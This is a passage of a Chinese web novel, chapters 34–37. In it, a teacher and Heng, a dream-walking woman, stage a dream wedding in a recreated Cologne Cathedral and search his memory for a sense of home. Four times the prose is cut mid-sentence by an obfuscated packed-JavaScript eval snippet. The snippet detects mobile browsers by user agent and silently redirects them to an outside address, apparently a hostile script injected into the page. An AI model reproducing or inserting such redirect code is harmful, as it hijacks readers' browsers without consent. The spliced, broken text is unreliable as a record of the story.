……其实我也说不清那是不是珩,因为我快醒了,梦境灰扑扑的一片,什么都看不清,我只迷迷糊糊地感觉到有什么人在摸我。 很混乱。很混乱。我的心率加快了,离醒来更近一步,身下的触感消失了一瞬,忽而又重新出现,变得更为鲜明,似乎……半假半真。 调动所剩无几的理智分析一下,嗯,至少不全是假,有一部分感觉是真实的。什么? 我现在是在家里的床上躺着,珩坐在我旁边,身下弹簧床垫给我的支持力随着我的轻微活动而变化。 唔……谁又扇了我一巴掌。 残余的梦境随之消散,我睁开眼。珩坐在我旁边,一手撑着床,一手悬空,显然是刚刚没叫醒我,又往我脸上来了一巴掌的模样。 我睡得很深,她不仅打我,她还掐我,我的脸和前臂都火辣辣的。 “喂,”她喊我,“醒啦?” 屋里太亮,她的脑袋正好挡在房间顶灯和我中间,我只看见她的轮廓,看不清表情。 我含含糊糊地“嗯”了一声,下意识地往旁边退了退。好险。她距离我的春梦只有一层头盖骨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184766|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她盘腿坐着,双手环胸,俯视躺在床上的我:“看来没做噩梦,怎样,看到丁书记了吗?” 我点点头。我大概是在心虚。幸好这个梦并不可怕,我能回忆起它的内容。我快速地把后面我离家出走,坐船到了旁边的城市,又被辗转送到福利院,最后看见丁书记的事跟她说了一遍。 “好吧,那看来后面还有很长的故事。”她看一眼床上放着的手机,“两点了,我该走了。” 她从床上轻盈地跳下,之后忽然站定脚,朝我看了一眼。 她先是看我的眼睛,看我的脸,之后目光跳跃到我的下|身。 她有种非人类的坦荡,她就这么盯着看,之后嘴角扬起一个小小的弧度。 “你做春梦了?”她问。 我循着她的目光低头看。我穿着宽松的速干运动裤,两腿之间的突起非常明显。 …… 我几乎弹起来,把旁边放着的毯子扯过来盖上。 要死了,好尴尬,好尴尬好尴尬好尴尬。她站在我的正前方,正不紧不慢地半低着头,把脚伸进地上的鞋子里。她蹲下身系鞋带,她的身形终于大半藏在床的后面,而目光从我腿间挪开,看向她自己的鞋。 “咳……对不起。”我压低声音,“你当没看见行吗?” 她手上动作一顿,又抬起头,还看向同一个位置。该死,我盖着一条又薄又软的珊瑚绒毯子,腿间的轮廓依然清晰可见。 她还盯着我看,注意,是盯着,一点不动摇地死死盯着同一个点看。她稍稍抬起目光,看向我的眼睛,她眼里又出现了那种古怪的,说不清是嘲弄还是什么的眼神。“你这样——”她又看我的腿间,我干脆一个侧身把自己蜷成一团。我躲得过她的目光,躲不过她的声音。她好像笑了一下:“我很难当没看见啊。” 我不回她,抱成一团装死。装死,装死,装死到底!她也不说话了,只是继续优哉游哉地绑她的鞋带,我听见那窸窸窣窣的带子摩擦声,只想挖个洞把自己埋进去。 还不走。 臭手赶紧绑鞋带啊!你赶紧走好不好! 余光里她的身形一动,我以为她终于要走了,结果她只是调整了一下重心,开始绑另一边的鞋带。 忍不了了,忍不了了,我把毯子一扬,把自己完全裹到里面。 34. 珩的任务 珩让我周末去社区活动中心找她,在再一次见到她之前的几天里,我几乎每天都在给自己做心理建设。我告诉自己没事的,你不是世界的中心!你的鸟更加不是!过了一个星期谁还记得啊,没事的没事的没事的。结果我还是一闲下来就禁不住反刍,她那天看我的目光被我翻来覆去地温习,过了大半个星期,事情还新鲜得好像就发生在昨天。唉……行了还是别提这件事了,上班了,上课了,专心上课! 然后半个小时之后学生们自由活动,我一个人在操场边上闲逛,又忍不住回想那天晚上的事。她到底是不是人类?我真的很怀疑。她是怎么做到一点不遮掩地盯着别人的□□看?要是我这么盯一个女孩,对方下一秒就该给我一巴掌,并且大声骂我臭流氓。她不仅盯着看,她还看完一次再看一次,她那直勾勾的目光简直可以算是性骚扰。是的,性骚扰,而我是被骚扰的那一个。我被骚扰了我为什么要觉得尴尬?该觉得尴尬的应该是她,我应该站在道德制高点上对她指指点点! 理论上是这样,但根据我对她的了解,她绝对肯定百分百不觉得她有做错什么,幸好我当时没有指责她,不然她会理直气壮地回我一句“你穿着衣服我看你怎么了,况且你没穿衣服我也能看你,我爱看谁就看谁”,或者是“谁让你做春梦做到这么忘我,我看看怎么了,你躺那里就要做好被人看的准备”,甚至“看你一眼这么小气,你是明星吗?你是男模吗?看你是瞧得起你”,云云。总之没有人能在她的逻辑里打败她,指责她不仅讨不到好处,甚至还要脱层皮。 但是我的心灵真的很脆弱,抱歉,我只是个四岁小孩,我花了三天放下了我无法得到伸张的正义,再花了两天不停地跟自己说“有反应总比没反应好毕竟她要是某天看到你那天在做春梦她肯定会在心里蛐蛐说他春梦都做这样了还没反应肯定是不行”,还有“你能不能自信点你又不小被看了就看了某些人发情还天天在社交媒体上给人发鸡”,最后我开始自我催眠,没错我是故意的,我是故意给她看的,我就是流氓我就是流氓,我发情我发情我发情!唉。 星期五最后一节课下课的时候,我几乎有些恍惚。太乱了,太乱了,梦里少年的我所说的话,暧昧的梦境,还有她,我一时理不清自己的心绪,我干脆决定什么都不想,把这些事情都先放下。我往操场外面走,忽然听见后面有脚步声追来。我站定了脚,又是那几个没大没小的八卦学生。 “江老师,下个月是不是校运会?”她们几个乖乖地站在我旁边问。 “又有何贵干?”我眯着眼看她们,经过这两年的接触,我看透了她们的套路,她们总是以热情的招呼开头,之后说离谱的话。 “江老师有没有考虑过带家属来玩玩?” “我们可以把校服借她~” “什么尺码都能给她借到哦~” 没有家属!没有家属!这话我已经说过太多次了,我不想再说了,而且这位家属刚在几天之前性骚扰我,我为此内耗了快一个星期。我给她们一个无语的眼神,让她们自己体会。 “没关系的,可以再考虑一下,如果她来,随时告诉我们!” 她们说完,叽叽喳喳地笑着,转身跑了。 我是在星期六早上去找她的。近来我总是去社区活动中心,虽然我社恐,平时不太主动说话,但天天看着我像个跟屁虫一样跟在珩后面,默不作声地担下整个活动中心的粗活重活脏活,常来的阿伯阿婆们都认得我,并且对我印象不错。我像平时一样,八点五十分左右走到活动中心门口,在门前的大榕树下坐着,等珩来上班。隔壁几个大爷已经躺在花园沙滩椅上,抽着烟开始聊中美关系俄乌战争。漂亮的卷发社工阿姨从屋里拿了两个包子出来给我当早饭,接过包子的时候我留意到她多看了我一眼。 我被珩弄得有点神经过敏,现在看见谁盯着我看我都觉得心里发毛。我手里捧着两个大包子,看她的时候眼里难免有些惶恐。她和珩有点像,她们都喜欢看我不知所措的样子,只不过她的目光要比珩慈祥太多,果然这就是时间的力量。她看出了我的疑惑,弯弯的细眉舒展开,她微微笑着,用温柔的声音说:“看来你真是个有天赋的人,这么快都学会了。” 我听得一头雾水:“什么?” 她一双笑眼睁大了些:“珩说你要来帮忙,她没跟你说吗?” ……她没跟我说。她什么都不跟我说。但她也什么都没必要跟我说。因为上次我不看内容就签合同,现在我这个人是无条件属于她的,她让我做什么就做什么,我没有任何反抗的理由,也没有任何反抗的能力。我很难跟卷发阿姨说清我和她之前的约定,所以我只好回答道:“现在知道了。” 卷发阿姨有些嗔怪地说道:“她就这样,凡事都不太爱跟人商量,自己就做决定了,她应该先问问你的意见。” 阿姨习惯性对我使用了一些和稀泥的话术,但其实没有这个必要,因为我不生气。珩向来如此,而我向来习惯完全服从于她,我的人生信条是“死不掉就行”,而我相信她不会害我。“没关系的,”我说,“问不问都行,她的意见就是我的意见,她说了算。” 正说着,我感觉到一阵风从我的身后擦过,之后是自行车在路面刹停的细微摩擦声。珩弯腰把她的自行车锁在路边,她不知是怎么从她骑得跟飞一样的自行车上听到了我的话,她一边挂锁一边说:“是吗,这话可是你说的,我听到了。” 她站起身,朝我这里走过来,她顺手掀起宽大T恤的一角,把钥匙塞进底下牛仔短裤的口袋里。我是真的没见过世面,我是真的纯情,她看我的时候我甚至有点害怕,我几乎要担心她会兽性大发又盯着我的□ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190897|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' □看。在她靠近我的时候,我悄悄侧身躲开一步,跟她保持距离。她全然不读空气,或是早就忘记一个星期前她对我做的事,她还问:“你又躲我做什么?” ……这一个星期的内耗真是白耗了。 这天她带着我又来到社区活动中心二楼的长廊上。时间是早上九点半,距离漫长的夏天结束还有一两个月之久,幸好走廊后面有几棵高大繁茂的细叶榕遮挡,这里总算是个阴凉去处。早上温度太高,花园里几个阿婆都在阴凉处摊开躺椅打瞌睡。我和珩站在走廊边上,场景一如两个月前我和她第一次见面,她放松地倾身趴在栏杆上,而我在她旁边站着。 “今天找你来,是因为有件事情要找你帮忙。” “嗯。” 她侧过脸来看我:“钟姐跟你说了?” 钟姐是漂亮卷发社工阿姨。我点点头:“提了一嘴。” 她的目光复又回到楼下那几个在太阳底下打瞌睡的阿婆身上,我循着她的目光,也往下看,居然看到穿着红色背心的钟姐,也在花园里白日做梦的队列中。 珩趴在栏杆上看我,阳光下她浅色的眼睛微微闪烁。“过来看看?”她说。 我说好。之后我便被她拉进了梦里。场景和刚才相比,没有发生任何变化。她趴在栏杆上看我,而我站在她旁边看她。但我已经能辨别现实和梦里的我自己——珩说每个人现实和梦境里的形象都不一样,但其中差别因人而异,因而梦里的自己和现实中有何不同,是个绝对的个人机密。梦里的我比现实中要轻一些,关节的活动度更大,我谨记珩的教诲,尽量在梦里表现得和现实一样。我跟在她身后下楼,看着她的背影,我不免分心想,我的□□现在是在哪里睡过去了? 她带我来到楼下的花园里,几个阿姨阿婆都醒转过来,她们坐了起身,看着我和珩走近。 她们几个都是我熟悉的面孔,建筑师张阿姨在,钟姐在,但坐在中间的是平时不太爱说话的司徒阿姨。她没什么特点,她是那个年代女人的平均值,每个六十多岁,在九十年代下岗,当了大半辈子家庭妇女的女人,大概都长她这样。一米五五到一米六的身高,身材微微发福,因为年轻的时候总是背着孩子做家务,脖子难免有些前倾,走起路来的姿态有种莫名的急切感。要不是因为她复姓司徒,我大概不太会记得她。 珩向她们介绍我:“这是江夷,大家都见过了吧?他在对面五中当老师,教体育的。” 我几乎在那个瞬间明白了之前珩总让我来这里帮忙干活的用意。给食堂当搬运工,并不是她一开始约定里想要让我帮忙做的事情,她是要让我在这个过程中和这几个阿姨阿婆混熟。因为我需要获得她们的同意,才能进入她们的梦境。 她转过来向我介绍:“这是司徒阿姨,这次我让你来,就是为了她的事情。” 35. 大教堂 短暂地停顿了一下,她说道:“她想要在梦里办一次西式婚礼,你是否同意进入这个梦境?” “我同意。”我回答。 之后她转向另一边坐着的几个阿姨:“你们是否同意江夷进入梦境,在这个过程中,他可以翻阅你们公开的所有记忆?” 她们几个点了点头,在最后一个人选择同意的瞬间,场景变换。 在过去这两个多月的时间里,我已经多次经历这样的转场,而且珩比我自己的手法要温和得多,因而我非常轻易地接受了自己下一秒已经站在了一条扶手电梯上的事实。而同行几个阿姨大概是没太见过这样的虚构场面,她们盯着脚下忽然开始向上移动的地面,不由得尖叫起来。而等她们抬起头,发现自己身处一个玻璃穹顶之下,好像是被送到了什么车站之类的到达厅去,尖叫被更大的惊讶堵在喉咙里,几个人难得地十分安静,于是我们几个随着扶手电梯缓缓上升,眼看着穹顶以外的地平线上,升起一座巨大的灰黑色的哥特式建筑。 这分明不是国内的建筑,一辈子没出过国的三个阿姨都看呆了,反复问彼此到底这是哪里。而见过它的张阿姨立在电梯上,看着它从视线中升起,之后几百年如一日地在这片大陆上伫立,慈悲地望向建筑脚下渺小而惶惑的众生。而我,我大概是见过它的,准确来说,他大概是见过它的。我某一片黑暗的脑区又短暂地亮了一下。珩偷懒了,她把她的记忆放进了梦里。她的神经表面大概长满了绒毛,不然何以有这么大的感受面积,以将所有现实中的细节都录入脑中。到达厅里来来往往的都是世界各地的游客,每个人从旋转玻璃门出去时,外面的风都会被短暂地吸入室内。我以前不是在夏天来的,温度和我的记忆略有不同,但空气湿度和周围植被的气味有些熟悉,深沉在我大脑底部的某段记忆反复地被空气照亮,好像有一条鮟鱇鱼打着头顶的小灯,在我的大脑深处游来又游去。 电梯到了尽头,珩带着我们往外走。她不知道什么时候换了衣服,大概这也是她记忆的一部分,她的身影从我和她之间遮挡着的几个阿姨前面现出来时,我看到她穿了一条简单的黑色长裙。裙摆很大,风从旋转玻璃门一阵阵吹来,她的裙子像海浪一样翻涌。她转过身来,原本只刚刚盖过耳朵的短发,在她转身的那一刻倾泻而下。她的相貌和现在没有什么不同,依然是白得发冷的皮肤,细长的眉毛,浅色的眼睛,但她换上了一条黑色的挂脖长裙,长发垂过腰间,她的头发留到这个长度,终于现出了它原本自然的卷曲弧度。外面的阳光穿过玻璃穹顶,落在她的身上,她的长发呈现出幽深的暗绿色,像一眼静默的深渊,在阳光下显出它内里经年不息的暗涌。她那一刻不像人类,至少不像是能出现在我身边的寻常生物,她像彩绘玻璃窗里色彩过分分明的神话图像,像神庙里受人膜拜的塑像,塑像,塑像——我记忆深处无光层的海藻们纷纷复生,幽暗的微光在海中翻涌又浮动。一千帧一万帧记忆残片涌入我的大脑,我好像要记起什么了,但她躺在我家沙发上熟睡,靠在副驾驶等我给她系安全带的场景连续闪回,真是难以想象,她居然活在现实的世界里,而我离她这么近…… 我顾着看她,没留心我脚下那一级扶手电梯即将被地面吃掉。我被它强行送到了地面上,之后没站稳,往前一踉跄,不知道扑到了哪个阿姨身上。 我连声道歉,不待我抬头看,我已经知道扑到谁身上了。 张阿姨夸张地回头看我,用她非常洪亮,简直犹如独唱表演的大嗓门,做作地对着我“啧啧啧”了好多下,她“哎呀”一声,之后不跟我说话,转而扭头看珩。“阿珩,你看你你看你,你看你把江老师都吓到了,穿那么漂亮干什么?” 几个阿姨笑成一团,周围充满了快活的空气,只有我心知在珩的眼里我就是一坨肉,她不会因为我觉得她漂亮而高兴,只会因此意识到我是个男人而觉得恶心。珩果然如我所料,躲开了这个话题,只不过她躲的方式有点出乎意料。她说:“你们别跟他开这种玩笑,他会脸红的。” 然后阿姨们都齐齐地看向我,非常轻易就会脸红的我,在她们眼里大概像只动物园里的熊猫,可观赏性十分高。 我迅速发动我的能力给自己造了顶帽子,拉下来把脸挡上。我伸手指引大家看外面:“大教堂哎各位!别看我了好不好,在水厂街天天都能看见我,大家能不能多看看教堂?” 珩带着我们一行人走出玻璃门,她的梦做得可真漂亮,教堂前面的广场上,甚至有不少游客。除了我和她两个超能力者以外的四个人——主角司徒阿姨、张阿姨、卷发钟姐,还有花阿姨,已经忘记自己是在梦里。珩把梦境的一切都做得过于真实,人物的活动和行为和她本人的观测分离,这是一个活的环境,每一部分都按照它自身的规律在推演。我猜测这大概和卫星的原理一样,这里来来往往的路人,大部分是没有思想的NPC,少部分珩的分身混在其中,每一片从她这里分裂出的意识,负责构建所在区域的梦境,碎片们建造而成的梦境接在一起,严丝合缝地凭空造出一个新的世界。她的意识无处不在,哪里都是她的神经中枢,每一个人每一只鸟每一棵树每一片树叶,都是她深沉智能的造物。 我跟在队伍的最后面,看着珩带着几个穿着和这个环境格格不入的阿姨阿婆走向教堂。我大致辨认了一下,这个教堂的主体可能是德国的科隆大教堂,建筑物的外形和那座历时六百多年才建造完成的教堂几乎一样,连熏得灰黑的砂岩外墙都保留了下来。但它前面的广场被珩替换掉了,原本需要走好些台阶才能到达的教堂大门,此时落在平地上。减掉了这点高度让教堂看起来不像原本那么具有压迫感,这很重要,不像西方人一样从小就有宗教信仰的我们,看见这种超巨大的宗教建筑,心里不免觉得有些悚然。 教堂的穹顶特别高,一抬头,顶上便是白色透光的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209136|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗。当前思考着的这个四岁的我,只去过一次市里的教堂。市里的教堂和这里没法比,市里的教堂小,光线也暗得多,阳光从彩绘玻璃窗照进来,只剩了幽幽的一块块发亮的赤红明黄钴蓝。因为这里建筑分外高大,彩绘玻璃窗之上,是更高的花纹玻璃窗,阳光从四面八方照进来,尽管吊灯没有打开,室内还是亮堂得和外面几乎一样。教堂四壁的雕塑俯视着下方经过的人,巨大的风琴悬在合唱团所在的位置旁边。我从来没见过这么大的风琴,险些没敢确认这真的是个风琴。我旁边住在水厂街一辈子的花阿姨听到珩说那是个风琴,发出感叹:“原来风琴长这样,难怪风琴鱿鱼叫风琴鱿鱼,长得可真像啊。” 珩带她们走了一圈,之后让曾经是建筑师的张阿姨带剩下三个人参观,她领着我,和我往教堂的地下室走去。离开了阳光,教堂里有些森冷,走向楼梯的时候,我看见了不少来来往往的路人。他们行色匆匆,但是都不看我。他们行动迅速,神情麻木,看起来很像期末区统考连续改了三天卷子之后的路迢。 我迈了两大步,追上前面的珩。“你的手下班味很重啊。”我说,“这是你的意识碎片吗?152个,我看看——这里不止152个人吧?” “这些是空壳,摆设用的,空无一人的教堂看起来很吓人。”她看向我,指了指我对面墙上的雕像,“碎片在那里。” 我循着她的手指看过去,拥有自主意识并且正在进行自发创造活动的雕像眨眨眼,举起他的砂岩大手和我打招呼:“你好呀。” 我吓得在教堂里“哇”了一声,NPC们齐齐看向我。 珩笑得很开心,她换了这个漂亮的皮囊,基本是换汤不换药,美丽的绿头发长裙少女,里面还是原本那个热爱作弄我折磨我就爱看我出洋相的她。烦死了! 我跟在珩的后面,在偌大的教堂里东转西转。没有了高处的玻璃窗和透进来的阳光,教堂里很冷。被关进冰冷黑暗的陷阱里,已经是一个星期以前的事,事情虽然已经过去,但那种被抛弃的恐惧刻进了我的骨头里。阿姨阿婆们没来,这里没有放置气氛组NPC的必要,我的周围只有高耸的岩石廊顶,和昏黄的水晶吊灯。我心里害怕,但没好说什么,只是一味地紧跟珩,生怕和她拉开距离。 珩也没说话,但她大概是修改了一下环境的设定,某个负责这条走廊的砂岩雕像调整了一下环境,空气里忽然吹进一股暖风,之后温度缓缓上升,头顶的吊灯也变得更亮。珩还是没回头,看也不看我,但我知道,肯定是她藏在哪里的碎片感觉到我在害怕,所以为此修改了梦境。我应该装傻的,但我管不住嘴,我就是好奇她会给我什么反应。我在后面小声说:“谢谢,好多了。” 她没搭理我,头顶的吊灯忽然伸下来一条金属臂,拍了拍我的肩膀,吊灯底座上的浮雕冲我礼貌地微笑:“不客气,你喜欢就好~” 吓得我又在走廊大叫一声。 36. 家的锚点 她带我穿过走廊,又往下走了一层楼,最后在一个像是地下储藏室的地方停下。 “司徒阿姨的婚礼是在乡下办的,你可以想象那个年代的婚礼,几乎可以说是……有点野蛮。”她说,“她和她爱人都想要一个电影里的西式婚礼,她想邀请她的朋友,但朋友们都跟她一个年龄,我跟他们两个谈了下,现在我们有个大胆的想法,那就是,让大家都按照他们结婚那一年的年龄出现。” “什么?”我有点惊讶,“你的意思是让他们回到年轻时候的相貌?” 珩点点头:“其实这在操作上没有什么难度,只需要进入每个人的大脑,把他们关于过去自己的记忆调出来,重新建模,然后让他们用他们自己的意识去操控模型。难度在于数据量。” “数据量?” “对,这就是我找你的原因。” 说着,她掏出一把钥匙,打开了储藏室的门。 那是一个巨大的黑漆漆的房间,她给教堂加了盏大功率超亮日光灯,灯一开,里面的空间在我眼前展开。这哪里是个储藏室,这里的容量几乎和我沉在水底的图书馆可以一拼,里面全是一排排的架子,架子多得看不见尽头,每个架子上都摆满了书。 “这是建造这个教堂所用的记忆,因为我需要不停翻阅它们,为了方便我看,我没把它们放在我自己的脑子里,而是在她大脑找了个空位,把它们放进去。”她看向我,“但是,如你所见,她快七十岁了,记性很差,我需要找个新的地方放这些记忆,正好你来了。” 她看我的神情难得有些欣赏,我一时有些受宠若惊。 “我一进你的记忆,就看上了你。”她两眼发光,“像你这样容量惊人,而又什么都没有的大脑,实在是很难得。” ……我真是谢谢她。夸人夸得跟骂人似的。 “教堂是建在我这里的,我把教堂的材料和数据都放在了这里,现在你来了,我想把它一整个都放到你家。再之后,给她们几个重建肉|体的工作,我也都交给你了。” 见我看着没有边际的储藏室,她说:“看着很多是吧,但对于你来说不算什么。”之后场景一晃,储藏室里面的书架和书,连带屋子本身,瞬间消失。 就连教堂都不见了,珩的动作实在是快,我和她又落在社区活动中心的花园里,而几个阿姨阿婆还在梦中的花园里沉睡。而她手里拿着一张照片。 “所有东西都在这里,”她手里捏着一张照片,“如果你愿意,我就把它交给你了。” 我接过照片,照片上是科隆大教堂,教堂前面模糊的一个人影,因为教堂建筑非常高大,为了把教堂都拍进去,照片里的人像很小,不太看得清楚。我将照片凑到眼前,眯着眼睛看。这张照片大概是用胶片机拍的,或者加了什么复古滤镜,色彩看起来有点古早。照片中间小小的人影,是穿着黑色长裙,长发过腰的珩。很震撼,这是一张照片,刚刚梦境里那个她,居然是真实存在过的。 四个阿姨呼呼大睡,显然还沉浸在珩制造的美梦里面。我眯着眼睛要看清照片里的珩,站在我旁边的她忽然“喂”了一声,我也不知道我在心虚什么,我从照片里收回目光,若无其事地看她。 眼前的还是我熟悉的那个珩,穿着宽大的T恤,衣服盖过裤子,两截竹竿似的又细又长的腿,底下是略显笨重的高帮篮球鞋。 她很敏锐,她的感官无处不在,她背对我的时候都能感觉到我在害怕,又怎么看不出来我的异样。 “怎么了,”她往我手里的照片看了一眼,“长头发的时候比较好看?” 送命题!送命题!送命题!召唤智力天花板大魔王,我该回答什么? 叫他没用,他也不懂,他现在正在我的胸腔里一级戒备,他对我轻易地进入别人的梦境并且接过不明私人物件这件事非常不满,现在正在安静地发大火。 长头发的时候更好看?是很好看,但是我比较习惯她现在这个样子,毕竟她的日常是把我骂得狗血淋头,她以那个形象出来骂我,我会因为事件和人物过于割裂,而断定那是个假珩,然后给她脑袋来一水管。 现在更好看?我要是这么回答,好像有些谄媚的嫌疑。 都很好看?各有各好看?显得很敷衍。 我都很喜欢?想都不用想了,我要是这么回答,她肯定白我一眼,给我一句“谁在意你喜不喜欢我又不是长给你看的”。 …… 我的智能告诉我,无论我给什么答案,都有一定概率导致她对我的好感度下降。 我真是太争气了,所以我就站在那里愣着,死机了。 幸好她并没有真的在问这个问题,见我宕机,她只是看我一眼,明明她长着一张十五六岁的脸,灵魂依仗一具比我矮了整整一个头的躯体存活,她却能这般自如地用一些看小猫看小狗的眼神看我。花园里是几个阿姨均匀的呼吸和随机拔高的呼噜声,梦境里虽然有六个人,但其实只是我和她。她看我看得我有些不自在,虽然我也不知道我在不自在什么就是了。我看一眼我手里捏着的照片,生硬地把话题扳回公事上:“所以我要怎么放?” 我的话落在她空旷的梦境里,她垂了垂眸,目光在我手里的照片上快速地掠过,之后转开。她看起来很愉快,并没有要继续将刚才的事情聊下去的意思,她的目光又回到花园里的大榕树下。社区活动中心的楼房是围着这棵市园林局挂了牌的古树建的,一百多岁的细叶榕,长得比楼房还高。树下的躺椅都藏匿在它的荫蔽之下,珩走到树下的一张空椅子边上,之后坐下。我跟着她也走过去,在她身边坐下。 她往椅背上一靠,和隔壁四个旅游状态中的阿姨一样,斜躺在椅子上。我学着她这么做,她侧过脸来看我,我也看她。之后我感觉到一股熟悉的魔力靠近,她的声音忽然离我很近。我在梦中被她再次催眠。 她说:“每个人的记忆都会有个起点,这个起点就是你的‘家’,你可以近似这么理解。” “嗯,所以我要怎么回去?” “联想,能引发你关于‘家’的联想的线索,就是你的钥匙。” 家?说实话我没有这东西。我目前关于过去唯一一段记忆,就是我的离家出走。 “……我感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228744|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉我是忘了。”真是尴尬。 “不是,‘家’不是一个现实的概念,是一种感觉。你只要找这种感觉就好了。”她说,“你学过生物吗?功能特别重要的蛋白,在进化上是很保守的,所有物种通用,千万年来不发生变化。你可以把‘家’理解成栖息地,每种动物都会有栖息地。你集中注意力,想想栖息地。” 好,栖息地。 “关于栖息地,你会想到什么?” 我是一个智人,我的栖息地就是我在学校附近的房子。我在脑海里重新描画它的轮廓,我的记忆力很好,我几乎重现了每天我下班回到家,从开门到走到每一个房间的图景。但是我的大脑很平静。这只是一间房子,它在物质上是我的“家”,但并没有激发多少我关于家的,和失忆前的我共有的联想。 栖息地,栖息地…… “不同人关于家的定义是不一样,你试试找一个锚点?”她小声提醒,“你想到家的时候,第一个想到的是什么?而什么东西会让你觉得你回到了家?” 家…… 嘿,家。我是个无根的飘蓬,没脚的小鸟,我没有储存的内容可供调动,又怎谈得上想象。于是我又作了一点小弊。我调出了路迢班里学生写的作文,初中生还在写记叙文,从他们的叙事里,我可以构造出一个初中生的平均模型,以填补我少年记忆的空白。 挑几个看起来像碳基生物自己写的,AI生成的不要,抄优秀范文的不要,我想想—— 热腾腾的饭菜……我想起的是常去的煲仔饭店老板。这个不行,换一个。奶奶颤颤巍巍的拥抱?也不行。我的背景故事里被虚构出来的奶奶,除了日复一日永无停息的打太极,没有别的动作,她和海边小学的NPC一样,是个低等智能造物。还有什么,温暖的港湾,台风天楼下停电,江面翻大浪,站在窗里面看外面的大雨,心里一点也不害怕,躺在床上,听着雨声,反而睡得更香……等等。是它了。 是安全感。我关于家的锚点是安全感,是我走进这个地方,我就能放心地闭上眼的感觉。 她好像能感受到我的思维波动,当我从混乱的搜索,落到具体的一个点上时,她的声音适时地在我周围响起。 “你回忆一件能给你同样感觉的事情?” 要找安全感,必先找不安全感,越彷徨,越混乱,越恐惧,越接近生命的坍缩点,得到的安全感就越强。我直奔目前我能想起来的最大危机去,我将自己推回到那个被人贩子追杀的夜晚,他在黑暗中找我——这段没有用。因为没有人救我。救我的是我自己。我倍速往前放了半个小时,那个男人往我心窝里踢了一脚,我几乎要死,好——这段也没有用。因为依然没有人救我。要不是我耍了点花招,我能被他追着打死。 再往后找,再往后找,警察阿姨?见到她的时候我已经基本脱险,想起她,我的记忆确实动了一下。但它只是轻微地动荡,钥匙只对了第一个齿,锁头只转过15度,之后依然卡在了原处。安全感,我再想想,我很恐惧,很彷徨,我濒临绝境,无计可施,我……我下意识地往自己的左手腕上看了一眼。 37. 我的笔记 我几乎在那一瞬间想起了我自己的陷阱,少年时的我自己将我推入深渊,我在空旷的黑暗的环境里,拼命回忆珩的话。珩。尽管空间里只有我一个人,尽管我此时正在不知几层之下的意识深处,但我想起了她。钥匙在动,这是一段强烈的安全感回忆,我循着那天的事情往前想——我在无助的时候听到了她的指引,之后我喊她。当我喊出她的名字时,一股熟悉的魔力从我的手腕上的手绳钻出,之后将我承托,把我从暗无天日的深海里,推回到地面上。 钥匙转过一圈又一圈。 我听见一重接一重的锁扣弹开的声音。 当我预感到我下一秒即将从这层梦境里消失时,我忽然想起珩就在我身边。说实话,我在害怕。我不敢回我所谓的“家”,特别是在我想起我被自己亲手关进陷阱的事情之后。是,以前的我把“安全感”设置成家门钥匙,但现在“家”并不能给我安全感。能给我安全感的是珩。 来不及犹豫了,我开始往下掉了,我伸手往旁边胡乱一抓,因为我看不见东西,这一抓抓了个空。我以为我要一个人被扯到不知道哪里去,慌乱地想要找一个暂停的按钮,就在这时候,一只冰凉的小手钻到了我的掌心里。 …… 暂停不了了。她给过我的安全感太多了,抓到她的那个瞬间,意识到她将会在我身边的那一刻,所有不安和犹疑都被抹平。幸好她并不能真正地读心,不然我何以和她解释现在的事情?家门钥匙是一等一重要的东西,而我的钥匙是她。 回家的路并不是一条竖直向下的线,我在我的思维之中辗转,而珩和我十指紧扣,被我拖入我的脑海深处。这里没有重力,记忆碎片在我面前随机飞过,有一瞬间我确信我看到了十四岁的我自己。他值守的记忆正好在我眼前经过,他站在里面,没大没小地伸手出来敲我的头。 他被我打断的鼻梁和紫肿的左眼已经好了,他又变回原来那个干净整洁优等生模样。他在我旁边小声说:“你还说不喜欢她,都发展到能带来这里的地步了?”没等我想明白他的话,他已经消失在太空之中。 之后重力忽然恢复,我停止了漫长的漂浮,站在了一扇门前面。 